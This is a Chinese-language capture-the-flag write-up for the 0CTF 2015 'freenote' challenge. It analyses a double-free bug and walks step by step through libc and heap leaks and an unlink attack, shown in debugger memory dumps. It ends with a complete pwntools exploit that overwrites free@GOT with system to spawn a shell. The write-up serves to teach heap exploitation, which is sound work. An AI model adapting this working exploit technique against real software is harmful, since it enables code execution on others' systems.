0ctf 2015 freenote writeup
涉及到 double free 漏洞,利用过程:leak libc ,leak heap, unlink
做题比写论文好玩多了呜呜呜呜
这个也是很经典的一道题啦,主要就是 leak libc ,leak heap, unlink 这三步
程序分析
首先弄一下结构体 大概就是这样吧:
00000000 chunk struc ; (sizeof=0x18, mappedto_8)
00000000 ; XREF: chunk_list/r
00000000 flag dq ?
00000008 size dq ?
00000010 ptr dq ?
00000018 chunk ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 chunk_list struc ; (sizeof=0x1810, mappedto_9)
00000000 head dq ?
00000008 num dq ?
00000010 chunksptr chunk 256 dup(?)
00001810 chunk_list ends
initptr
首先进行初始化,malloc 出 0x1810 大小的 chunk 用来管理堆块,我们把这个 chunk 命名为 table
结构大概是这样的:
ptr | chunknum | chunk[256]
chunk 的结构是这样: |flag|size|ptr|
初始化把 flag、size、ptr 都置为 0
new
size 大小最小是 0x80 再加个 header 就是 0x90
(0x80 - size % 0x80) % 0x80 + size)
edit
编辑堆块信息,如果 size 改变,会通过 realloc 新分配堆块
delete
这里有个 double free 漏洞
list
输出堆块信息
利用思路
利用 double free
leak libc
free 掉 0x90 大小的堆块,会放入 unsorted bin 中,添加 fd,bk信息。我们在 malloc 出来,仅修改低字节,因为 libc 中偏移不变,所以地址的低字节应该是不变的,\x78 是固定的。 泄露 fd 地址.. 计算得到 libc 基址
leak heap
使 unsorted bin 中 第一块的 bk 指向下一个 free 掉的 chunk ,泄露bk,得到 heap 地址
unlink
free 一个堆块放入 unsorted bin,会检查后向合并,我们构造 fake chunk,伪造 fd,bk。从而达到 ptr[0] = &ptr[0]-0x18 的效果
利用过程
泄露 libc 地址
首先 new 两个 0x80 的 chunk
gef➤ x/16gx 0x00000000019c3000
0x19c3000: 0x0000000000000000 0x0000000000001821 => table header
0x19c3010: 0x0000000000000100 0x0000000000000002
0x19c3020: 0x0000000000000001 0x0000000000000080 => chunk 0 flag | size
0x19c3030: 0x00000000019c4830 0x0000000000000001 => chunk 0 ptr | chunk 1 flag
0x19c3040: 0x0000000000000080 0x00000000019c48c0 => chunk 1 size | chunk 1 ptr
0x19c3050: 0x0000000000000000 0x0000000000000000
看一下这两个 chunk 的信息:
gef➤ x/32gx 0x00000000019c4830-0x10
0x19c4820: 0x0000000000000000 0x0000000000000091 => chunk 0 header
0x19c4830: 0x4141414141414141 0x4141414141414141
......
0x19c48b0: 0x0000000000000000 0x0000000000000091 => chunk 1 header
0x19c48c0: 0x4242424242424242 0x4242424242424242
......
0x19c4910: 0x4242424242424242 0x4242424242424242
delete chunk 0 写入 fd, bk
gef➤ x/16gx 0x120d830-0x10
0x120d820: 0x0000000000000000 0x0000000000000091 => chunk 0 header
0x120d830: 0x00007fd22ca79b78 0x00007fd22ca79b78 => fd | bk
0x120d840: 0x4141414141414141 0x4141414141414141
0x120d850: 0x4141414141414141 0x4141414141414141
new note('\x78') 将刚刚 free 掉的 chunk 0 malloc 出来
可以看到fd,bk并没有修改,我们就可以通过 list 得到地址了
gef➤ x/16gx 0x1f66830-0x10
0x1f66820: 0x0000000000000000 0x0000000000000091
0x1f66830: 0x00007f307c0b5b78 0x00007f307c0b5b78 => fd | bk
0x1f66840: 0x4141414141414141 0x4141414141414141
查看一下 libc 地址和 fd:
gef➤ vmmap libc
Start End Offset Perm Path
0x00007fd22c6b5000 0x00007fd22c875000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
.....
gef➤ x/16gx 0x00007fd22ca79b78
0x7fd22ca79b78 <main_arena+88>: 0x000000000120d940 0x0000000000000000
0x7fd22ca79b88 <main_arena+104>: 0x000000000120d820 0x000000000120d820
我们可以计算 hex(libc基址-fd) 即 hex(0x00007fd22ca79b78-0x00007fd22c6b5000) 得到 0x3c4b78,当然这个值就是 main_arena 偏移 +88
之后我们 delete chunk 1;delete chunk 0 ;会和 top chunk 合并
此时堆布局,可以看到 chunk 0 和 chunk 1 的 ptr 还在
gef➤ x/32gx 0x000000000116b000
0x116b000: 0x0000000000000000 0x0000000000001821
0x116b010: 0x0000000000000100 0x0000000000000000
0x116b020: 0x0000000000000000 0x0000000000000000
0x116b030: 0x000000000116c830 0x0000000000000000 => chunk 0 ptr
0x116b040: 0x0000000000000000 0x000000000116c8c0 => chunk 1 ptr
0x116b050: 0x0000000000000000 0x0000000000000000
0x116b060: 0x0000000000000000 0x0000000000000000
......
top chunk
泄露 heap 地址
泄露 heap 地址,是在 unsorted bin 中构造链,泄露 unsorted bin 中第一个 chunk 的fd,这时是指向下一个堆块的。泄露下一个堆块的地址,也就得到了 heap 地址。但是注意构造 chunk 时,要避免它们进行合并。
new_note("A"*notelen)#0
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
此时堆块信息
gef➤ heap chunks
Chunk(addr=0x11e7010, size=0x1820, flags=PREV_INUSE)
[0x00000000011e7010 00 01 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................]
Chunk(addr=0x11e8830, size=0x90, flags=PREV_INUSE)
[0x00000000011e8830 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA]
Chunk(addr=0x11e88c0, size=0x90, flags=PREV_INUSE)
[0x00000000011e88c0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x11e8950, size=0x90, flags=PREV_INUSE)
[0x00000000011e8950 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC]
Chunk(addr=0x11e89e0, size=0x90, flags=PREV_INUSE)
[0x00000000011e89e0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD]
Chunk(addr=0x11e8a70, size=0x205a0, flags=PREV_INUSE) ← top chunk
看一下 table 的记录:
gef➤ x/16gx 0x11e7010-0x10
0x11e7000: 0x0000000000000000 0x0000000000001821 => table header
0x11e7010: 0x0000000000000100 0x0000000000000004 => max | num
0x11e7020: 0x0000000000000001 0x0000000000000080
0x11e7030: 0x00000000011e8830 0x0000000000000001 => chunk 0 ptr = 0x00000000011e8830
0x11e7040: 0x0000000000000080 0x00000000011e88c0 => chunk 1 ptr = 0x00000000011e88c0
0x11e7050: 0x0000000000000001 0x0000000000000080
0x11e7060: 0x00000000011e8950 0x0000000000000001 => chunk 2 ptr
0x11e7070: 0x0000000000000080 0x00000000011e89e0 => chunk 3 ptr
此时 bins 中是没有 chunk 的。
chunk 1 和chunk 3主要就是用来防止堆块合并的,这样我们才能在 unsorted bin 中成功构造链表
delete_note(2)
delete_note(0)
此时看一下 unsorted bin
[+] unsorted_bins[0]: fw=0x11e8820, bk=0x11e8940
→ Chunk(addr=0x11e8830, size=0x90, flags=PREV_INUSE) → Chunk(addr=0x11e8950, size=0x90, flags=PREV_INUSE)
链表中:unsorted bin | chunk 0 | chunk 2
大致是这样 unsorted bin 的 fd 指向下一个,也就是 chunk 0,bk 指向前一个,也就是 chunk 2
我们来看一下 chunk 0 和 chunk 2 的信息:
gef➤ x/16gx 0x11e8830-0x10
0x11e8820: 0x0000000000000000 0x0000000000000091
0x11e8830: 0x00000000011e8940 0x00007f30b78c1b78 => chunk 0的 fd 指向 chunk 2,bk 指向 unsorted Bin 头。
0x11e8840: 0x4141414141414141 0x4141414141414141
0x11e8850: 0x4141414141414141 0x4141414141414141
0x11e8860: 0x4141414141414141 0x4141414141414141
gef➤ x/16gx 0x00000000011e8940
0x11e8940: 0x0000000000000000 0x0000000000000091
0x11e8950: 0x00007f30b78c1b78 0x00000000011e8820 => chunk 2 的 fd 指向 unsorted bin 头,bk 指向 chunk0.
0x11e8960: 0x4343434343434343 0x4343434343434343
0x11e8970: 0x4343434343434343 0x4343434343434343
我们在 malloc 一下,就会将 chunk 2 分配出来,泄露 chunk 2 的 bk 就可以了。
可以来看一下:(在这里重新跑了一下脚本,chunk 的地址变了,不过不影响理解)
目前 chunk 的 ptr 如下…
gef➤ x/16gx 0x14d6010
0x14d6010: 0x0000000000000100 0x0000000000000002
0x14d6020: 0x0000000000000000 0x0000000000000000
0x14d6030: 0x00000000014d7830 0x0000000000000001
0x14d6040: 0x0000000000000080 0x00000000014d78c0
0x14d6050: 0x0000000000000000 0x0000000000000000
0x14d6060: 0x00000000014d7950 0x0000000000000001
0x14d6070: 0x0000000000000080 0x00000000014d79e0
0x14d6080: 0x0000000000000000 0x0000000000000000
此时 chunk 2 的信息:
gef➤ x/16gx 0x00000000014d7950-0x10
0x14d7940: 0x0000000000000000 0x0000000000000091
0x14d7950: 0x4141414141414141 0x00000000014d7820 => bk !
0x14d7960: 0x4343434343434343 0x4343434343434343
0x14d7970: 0x4343434343434343 0x4343434343434343
0x14d7980: 0x4343434343434343 0x4343434343434343
泄露出来的 0x00000000014d7820 就是 chunk 0 地址了,当然可以通过计算 size 得到 heap 基址,也就是 table chunk 的地址。但是也可以通过
计算 chunk0-heap 基址得到固定的偏移就好了。
>>> hex(0x00000000014d7820-0x00000000014d6000)
'0x1820'
接下来再通过
delete_note(0)
delete_note(1)
delete_note(3)
把 chunk 都清理掉,并入 top chunk.
unlink
接下来 进行 unlink 操作。
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
首先 new 三个 chunk
gef➤ x/16gx 0x14d6010-0x10
0x14d6000: 0x0000000000000000 0x0000000000001821
0x14d6010: 0x0000000000000100 0x0000000000000003
0x14d6020: 0x0000000000000001 0x0000000000000080
0x14d6030: 0x00000000014d7830 0x0000000000000001 => chunk 0 ptr
0x14d6040: 0x0000000000000080 0x00000000014d78c0 => chunk 1 ptr
0x14d6050: 0x0000000000000001 0x0000000000000080
0x14d6060: 0x00000000014d7950 0x0000000000000000 => chunk 2 ptr
0x14d6070: 0x0000000000000000 0x00000000014d79e0 => 这是因为 ptr 没清空剩下的
在 delete chunk 2, delete chunk 1,delete chunk 0
然后都并入 top chunk 了..
gef➤ x/16gx 0x14d6010-0x10
0x14d6000: 0x0000000000000000 0x0000000000001821
0x14d6010: 0x0000000000000100 0x0000000000000000
0x14d6020: 0x0000000000000000 0x0000000000000000
0x14d6030: 0x00000000014d7830 0x0000000000000000 => chunk 0 ptr
0x14d6040: 0x0000000000000000 0x00000000014d78c0 => chunk 1 ptr
0x14d6050: 0x0000000000000000 0x0000000000000000
0x14d6060: 0x00000000014d7950 0x0000000000000000 => chunk 2 ptr
0x14d6070: 0x0000000000000000 0x00000000014d79e0 => chunk 3 ptr
前面泄露得到 chunk 0 的 ptr,而 构造时应使 fd = &p-0x18;bk = &p-0x10
伪造 fake chunk,malloc 一个比较大的堆块,会覆盖原来 chunk 的地方,而原来 chunk 还可以进行 free 操作,因此可以利用 unlink。大概 chunk overlapping
构造时要注意三个地方:chunk 1 header 中的 pre_size 以及 Pre_inuse 、chunk 2 中的 pre_inuse 要设为 0
gef➤ x/32gx 0x14d7830-0x10
0x14d7820: 0x0000000000000000 0x0000000000000191
0x14d7830: 0x0000000000000000 0x0000000000000081 => fake chunk header
0x14d7840: 0x00000000014d6018 0x00000000014d6020 => fake fd bk
0x14d7850: 0x4141414141414141 0x4141414141414141
0x14d7860: 0x4141414141414141 0x4141414141414141
0x14d7870: 0x4141414141414141 0x4141414141414141
0x14d7880: 0x4141414141414141 0x4141414141414141
0x14d7890: 0x4141414141414141 0x4141414141414141
0x14d78a0: 0x4141414141414141 0x4141414141414141
0x14d78b0: 0x0000000000000080 0x0000000000000090 => fake header chunk 1,fake chunk 0 size = 0x80,fake pre_inuse
0x14d78c0: 0x4141414141414141 0x4141414141414141
0x14d78d0: 0x4141414141414141 0x4141414141414141
0x14d78e0: 0x4141414141414141 0x4141414141414141
0x14d78f0: 0x4141414141414141 0x4141414141414141
0x14d7900: 0x4141414141414141 0x4141414141414141
0x14d7910: 0x4141414141414141 0x4141414141414141
gef➤
0x14d7920: 0x4141414141414141 0x4141414141414141
0x14d7930: 0x4141414141414141 0x4141414141414141
0x14d7940: 0x0000000000000000 0x0000000000000091 => fake header fake pre_inuse = 1
0x14d7950: 0x0000000000000000 0x0000000000000000
0x14d7960: 0x0000000000000000 0x0000000000000000
0x14d7970: 0x0000000000000000 0x0000000000000000
0x14d7980: 0x0000000000000000 0x0000000000000000
0x14d7990: 0x0000000000000000 0x0000000000000000
0x14d79a0: 0x0000000000000000 0x0000000000000000
0x14d79b0: 0x4343434343434343 0x0000000000020651 => top chunk
0x14d79c0: 0x4343434343434343 0x4343434343434343
0x14d79d0: 0x00000000000001b0 0x0000000000020631
0x14d79e0: 0x4444444444444444 0x4444444444444444
此时 ptr table:
gef➤ x/16gx 0x00000000014d6000
0x14d6000: 0x0000000000000000 0x0000000000001821
0x14d6010: 0x0000000000000100 0x0000000000000001
0x14d6020: 0x0000000000000001 0x0000000000000180
0x14d6030: 0x00000000014d7830 0x0000000000000000
0x14d6040: 0x0000000000000000 0x00000000014d78c0
0x14d6050: 0x0000000000000000 0x0000000000000000
0x14d6060: 0x00000000014d7950 0x0000000000000000
0x14d6070: 0x0000000000000000 0x00000000014d79e0
如果此时我们 delete 1 就会判断 pre_insue 等位,与前面的 chunk 0 进行合并。得到 0x80+0x90 大小的 bin,放到 unsorted bin中。 合并的时候进行了 unlink 操作,chunk 0 的 ptr 修改成了 &ptr[0]-0x18 的地方。
gef➤ x/16gx 0x00000000014d6000
0x14d6000: 0x0000000000000000 0x0000000000001821
0x14d6010: 0x0000000000000100 0x0000000000000000
0x14d6020: 0x0000000000000001 0x0000000000000180 =>chunk 0 flag | chunk 0 size
0x14d6030: 0x00000000014d6018 0x0000000000000000 => ptr[0] = &ptr[0]-0x18
0x14d6040: 0x0000000000000000 0x00000000014d78c0
0x14d6050: 0x0000000000000000 0x0000000000000000
0x14d6060: 0x00000000014d7950 0x0000000000000000
0x14d6070: 0x0000000000000000 0x00000000014d79e0
这个时候就很简单啦
我们 edit chunk 0,就是修改 &ptr[0]-0x18 指向的内容,可以修改 ptr[0]之类的
写入内容 :p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr)
就把 ptr[0]改为了 free_got,同时将 chunk 0 的 flag 设为 1,size 设为 0x8; 否则下次 edit 时,size 不匹配会进行 realloc。将 chunk 1 ptr 改为 /bin/sh 字符串的地址
可以来看一下写入的内容
gef➤ x/16gx 0x14d6010
0x14d6010: 0x0000000000000100 0x0000000000000080
0x14d6020: 0x0000000000000001 0x0000000000000008
0x14d6030: 0x0000000000602018 0x4141414141414141
0x14d6040: 0x4141414141414141 0x00007f13b0022d57
0x14d6050: 0x4141414141414141 0x4141414141414141
0x14d6060: 0x4141414141414141 0x4141414141414141
0x14d6070: 0x4141414141414141 0x4141414141414141
gef➤ x/16gx 0x0000000000602018
0x602018 <free@got.plt>: 0x00007f13aff1a4f0 0x00007f13aff05690
gef➤ x/16s 0x00007f13b0022d57
0x7f13b0022d57: "/bin/sh"
通过 edit 0,将 free_got 改为 system 地址,在 free(1) ,相当于调用了 system("/bin/sh")
最终payload:
#!/usr/bin/env python
from pwn import *
p = process('./freenote')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new_note(x):
p.recvuntil("Your choice: ")
p.send("2\n")
p.recvuntil("Length of new note: ")
p.send(str(len(x))+"\n")
p.recvuntil("Enter your note: ")
p.send(x)
def delete_note(x):
p.recvuntil("Your choice: ")
p.send("4\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n")
def list_note():
p.recvuntil("Your choice: ")
p.send("1\n")
def edit_note(x,y):
p.recvuntil("Your choice: ")
p.send("3\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n")
p.recvuntil("Length of note: ")
p.send(str(len(y))+"\n")
p.recvuntil("Enter your note: ")
p.send(y)
####################leak libc#########################
notelen=0x80
new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0)
new_note("\x78")
#gdb.attach(p)
list_note()
p.recvuntil("0. ")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
print hex(leaklibcaddr)
delete_note(1)
delete_note(0)
libc_base_addr = leaklibcaddr - 0x3c4b78
print "libc_base: " + hex(libc_base_addr)
system_sh_addr = libc_base_addr + libc.symbols['system']
print "system_sh_addr: " + hex(system_sh_addr)
binsh_addr = libc_base_addr + next(libc.search('/bin/sh'))
print "binsh_addr: " + hex(binsh_addr)
####################leak heap#########################
notelen=0x80
new_note("A"*notelen)#0
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)
#gdb.attach(p)
#raw_input()
new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leakheapaddr = u64(leak[0:-1].ljust(8, '\x00'))
print "leakheapaddr: "+hex(leakheapaddr)
#raw_input()
delete_note(0)
delete_note(1)
delete_note(3)
####################unlink exp#########################
notelen = 0x80
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
delete_note(2)
delete_note(1)
delete_note(0)
fd = leakheapaddr - 0x1808
bk = fd + 0x8
#gdb.attach(p)
payload = ""
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)
new_note(payload)
delete_note(1)
free_got = 0x602018
payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr)
payload2 += "A"* (notelen*3-len(payload2))
edit_note(0, payload2)
edit_note(0, p64(system_sh_addr))
delete_note(1)
p.interactive()
参考资料
http://angelboy.logdown.com/posts/259180-0ctf-2015-write-up https://blog.csdn.net/qq_33528164/article/details/80085926 https://kitctf.de/writeups/0ctf2015/freenote